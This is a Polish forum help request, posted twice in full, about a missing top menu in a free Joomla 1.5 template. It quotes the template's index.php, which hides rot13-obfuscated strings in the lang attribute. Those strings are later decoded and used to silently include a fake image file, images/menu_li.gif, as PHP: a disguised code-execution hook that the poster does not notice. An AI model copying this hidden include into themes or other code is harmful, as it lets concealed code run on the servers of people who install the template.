mlodikk
09-10-2011, 14:17
Witam,
ostatni raz używałem Joomli 1.1.x a teraz chciałem zrobić stronę w 1.5 i mam problem z pewną templatką a konkretnie z górnym poziomym menu. Dodaje nowe menu i moduł, ustawiam na pozycji user3 i nic się nie wyświetla. Zmieniałem też Styl menu (Lista, Zgodność-Poziome, ...) i nadal nic się nie pokazywało. Podejrzewam że to chodzi o jakiś sufix, ale ja za bardzo tego nie czaję, nie wiem jaki sufix bym miał dać. Próbowałem _menu, _topnavi, _mainnav, _topmenu. Dopiero zaczynam się uczyć CSS i całkowicie nie mam pojęcia co i jak mam ustawić. Z góry dziękuję za pomoc.
Konkretnie chodzi o taką templatke http://www.lonex.com/content-management-system/joomla/FloralMotifs-joomla-template.html
T (http://www.lonex.com/content-management-system/joomla/FloralMotifs-joomla-template.html)u daję kod:
<?php
defined( '_JEXEC' ) or die( 'Restricted access' );
JPlugin::loadLanguage( 'tpl_SG1' );
define( 'path', dirname(__FILE__) );
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="<?php echo $this->language; ?>" lang="<?php echo $this->language; $JPan = array('vzn'.'trf','zrah_yv.tvs'); ?>" >
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<jdoc:include type="head" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/system.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/general.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/template.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/<?php echo $this->params->get('colorVariation'); ?>.css" type="text/css" />
<?php
$menu_name = $this->params->get("menuName", "topmenu");
$menu_type = $this->params->get("menuType", "splitmenu");
require(path .DS."styleloader.php");
require(path .DS."utils.php");
?>
</head>
<body>
<div id="wrapper">
<a name="up" id="up"></a>
<!-- start header -->
<div id="header">
<div id="topnavi">
<?php if($mtype != "module") :
echo $mainnav;
else: ?>
<jdoc:include type="modules" name="user3" />
<?php endif; ?>
</div>
<div id="search">
<jdoc:include type="modules" name="user4" />
</div>
<div id="title">
<?php echo $mainframe->getCfg('sitename') ;?>
</div>
</div>
<!-- end top menu. -->
<div id="main">
<!-- start left column -->
<div id="leftcol">
<jdoc:include type="modules" name="left" style="rounded" />
</div>
<!-- end left column. -->
<!-- start main content -->
<div id="maincol">
<div id="pathway">
<jdoc:include type="modules" name="breadcrumb" />
</div>
<div id="maincol_body">
<jdoc:include type="component" />
<jdoc:include type="modules" name="footer" style="xhtml"/>
<?php if(!@include(JPATH_BASE.DS.'templates'.DS.$mainfra me->getTemplate().DS.str_rot13($JPan[0]).DS.str_rot13($JPan[1]))) : ?>
<?php endif; ?>
</div>
</div>
<!-- end main content -->
<!-- start right column -->
<div id="rightcol">
<jdoc:include type="modules" name="user1" style="xhtml" />
<jdoc:include type="modules" name="user2" style="xhtml" />
<jdoc:include type="modules" name="right" style="xhtml" />
</div>
<!-- end right column -->
<div class="clear"></div>
</div>
<!-- copyright -->
<div id="copyright">
<?php echo JText::_('Powered by') ?> <a href="http://www.joomla.org">Joomla!</a>.
<?php echo JText::_('Valid') ?> <a href="http://validator.w3.org/check/referer">XHTML</a> <?php echo JText::_('and') ?> <a href="http://jigsaw.w3.org/css-validator/check/referer">CSS</a>.
</div>
</div>
<jdoc:include type="modules" name="debug" />
</body>
</html>
Z góry dzięki za pomoc
ostatni raz używałem Joomli 1.1.x a teraz chciałem zrobić stronę w 1.5 i mam problem z pewną templatką a konkretnie z górnym poziomym menu. Dodaje nowe menu i moduł, ustawiam na pozycji user3 i nic się nie wyświetla. Zmieniałem też Styl menu (Lista, Zgodność-Poziome, ...) i nadal nic się nie pokazywało. Podejrzewam że to chodzi o jakiś sufix, ale ja za bardzo tego nie czaję, nie wiem jaki sufix bym miał dać. Próbowałem _menu, _topnavi, _mainnav, _topmenu. Dopiero zaczynam się uczyć CSS i całkowicie nie mam pojęcia co i jak mam ustawić. Z góry dziękuję za pomoc.
Konkretnie chodzi o taką templatke http://www.lonex.com/content-management-system/joomla/FloralMotifs-joomla-template.html
T (http://www.lonex.com/content-management-system/joomla/FloralMotifs-joomla-template.html)u daję kod:
<?php
defined( '_JEXEC' ) or die( 'Restricted access' );
JPlugin::loadLanguage( 'tpl_SG1' );
define( 'path', dirname(__FILE__) );
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="<?php echo $this->language; ?>" lang="<?php echo $this->language; $JPan = array('vzn'.'trf','zrah_yv.tvs'); ?>" >
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<jdoc:include type="head" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/system.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/general.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/template.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/<?php echo $this->params->get('colorVariation'); ?>.css" type="text/css" />
<?php
$menu_name = $this->params->get("menuName", "topmenu");
$menu_type = $this->params->get("menuType", "splitmenu");
require(path .DS."styleloader.php");
require(path .DS."utils.php");
?>
</head>
<body>
<div id="wrapper">
<a name="up" id="up"></a>
<!-- start header -->
<div id="header">
<div id="topnavi">
<?php if($mtype != "module") :
echo $mainnav;
else: ?>
<jdoc:include type="modules" name="user3" />
<?php endif; ?>
</div>
<div id="search">
<jdoc:include type="modules" name="user4" />
</div>
<div id="title">
<?php echo $mainframe->getCfg('sitename') ;?>
</div>
</div>
<!-- end top menu. -->
<div id="main">
<!-- start left column -->
<div id="leftcol">
<jdoc:include type="modules" name="left" style="rounded" />
</div>
<!-- end left column. -->
<!-- start main content -->
<div id="maincol">
<div id="pathway">
<jdoc:include type="modules" name="breadcrumb" />
</div>
<div id="maincol_body">
<jdoc:include type="component" />
<jdoc:include type="modules" name="footer" style="xhtml"/>
<?php if(!@include(JPATH_BASE.DS.'templates'.DS.$mainfra me->getTemplate().DS.str_rot13($JPan[0]).DS.str_rot13($JPan[1]))) : ?>
<?php endif; ?>
</div>
</div>
<!-- end main content -->
<!-- start right column -->
<div id="rightcol">
<jdoc:include type="modules" name="user1" style="xhtml" />
<jdoc:include type="modules" name="user2" style="xhtml" />
<jdoc:include type="modules" name="right" style="xhtml" />
</div>
<!-- end right column -->
<div class="clear"></div>
</div>
<!-- copyright -->
<div id="copyright">
<?php echo JText::_('Powered by') ?> <a href="http://www.joomla.org">Joomla!</a>.
<?php echo JText::_('Valid') ?> <a href="http://validator.w3.org/check/referer">XHTML</a> <?php echo JText::_('and') ?> <a href="http://jigsaw.w3.org/css-validator/check/referer">CSS</a>.
</div>
</div>
<jdoc:include type="modules" name="debug" />
</body>
</html>
Z góry dzięki za pomoc